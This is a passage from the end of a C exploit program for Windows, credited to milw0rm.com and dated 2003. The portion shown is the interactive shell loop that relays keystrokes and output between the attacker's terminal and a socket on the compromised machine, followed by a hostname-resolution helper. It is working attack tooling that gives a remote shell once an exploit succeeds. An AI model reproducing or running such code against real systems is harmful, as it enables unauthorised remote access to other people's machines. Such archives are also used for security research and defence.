o[1] = sock;
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{
length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
length = write (1, buffer, length);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
}
else
{
length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
length = send(sock, buffer, length, 0);
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
}
}
}
/*********************************************************************************/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/*********************************************************************************/
// milw0rm.com [2003-11-13]